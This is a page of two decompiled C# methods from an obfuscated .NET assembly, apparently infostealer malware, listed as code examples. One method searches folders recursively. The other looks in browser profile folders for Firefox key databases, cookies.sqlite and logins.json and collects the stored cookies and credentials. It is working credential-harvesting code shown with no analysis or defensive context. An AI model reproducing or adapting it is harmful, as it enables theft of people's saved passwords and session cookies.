Esempio n. 1
0
        // Token: 0x060001B1 RID: 433 RVA: 0x0000EA8C File Offset: 0x0000CC8C
        public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files)
        {
            List <string> list = new List <string>();

            if (files != null && files.Length != 0 && level <= maxLevel)
            {
                try
                {
                    foreach (string path in Directory.GetDirectories(baseDirectory))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files2        = directoryInfo.GetFiles();
                            bool          flag          = false;
                            int           num           = 0;
                            while (num < files2.Length && !flag)
                            {
                                int num2 = 0;
                                while (num2 < files.Length && !flag)
                                {
                                    string   a        = files[num2];
                                    FileInfo fileInfo = files2[num];
                                    string   name     = fileInfo.Name;
                                    if (a == name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo.FullName);
                                    }
                                    num2++;
                                }
                                num++;
                            }
                            foreach (string item in Class_69.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                }
                return(list);
            }
            return(list);
        }
Esempio n. 2
0
        // Token: 0x060001D4 RID: 468 RVA: 0x0000F890 File Offset: 0x0000DA90
        public static List <Class_65> ParseBrowsers()
        {
            List <Class_65> list = new List <Class_65>();

            try
            {
                List <string> list2 = new List <string>();
                list2.AddRange(Class_69.FindPaths(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, 4, 1, new string[]
                {
                    "key3.db",
                    "key4.db",
                    "cookies.sqlite",
                    "logins.json"
                }));
                list2.AddRange(Class_69.FindPaths(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold, 4, 1, new string[]
                {
                    "key3.db",
                    "key4.db",
                    "cookies.sqlite",
                    "logins.json"
                }));
                foreach (string text in list2)
                {
                    string fullName = new FileInfo(text).Directory.FullName;
                    string text2    = text.Contains(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold) ? Class_78.GetRoamingName(fullName) : Class_78.GetLocalName(fullName);
                    if (!string.IsNullOrEmpty(text2))
                    {
                        Class_65 class_ = new Class_65
                        {
                            prop_0 = text2,
                            prop_1 = new DirectoryInfo(fullName).Name,
                            prop_5 = new List <Class_66>(Class_78.ParseCookies(fullName)).IsNull <List <Class_66> >(),
                            prop_2 = new List <Class_68>(Class_78.GetCredentials(fullName).IsNull <List <Class_68> >()).IsNull <List <Class_68> >(),
                            prop_3 = new List <Class_64>(),
                            prop_4 = new List <Class_67>()
                        };
                        if (class_.prop_5.Count((Class_66 x) => x.IsNotNull <Class_66>()) <= 0)
                        {
                            if (class_.prop_2.Count((Class_68 x) => x.IsNotNull <Class_68>()) <= 0)
                            {
                                continue;
                            }
                        }
                        list.Add(class_);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }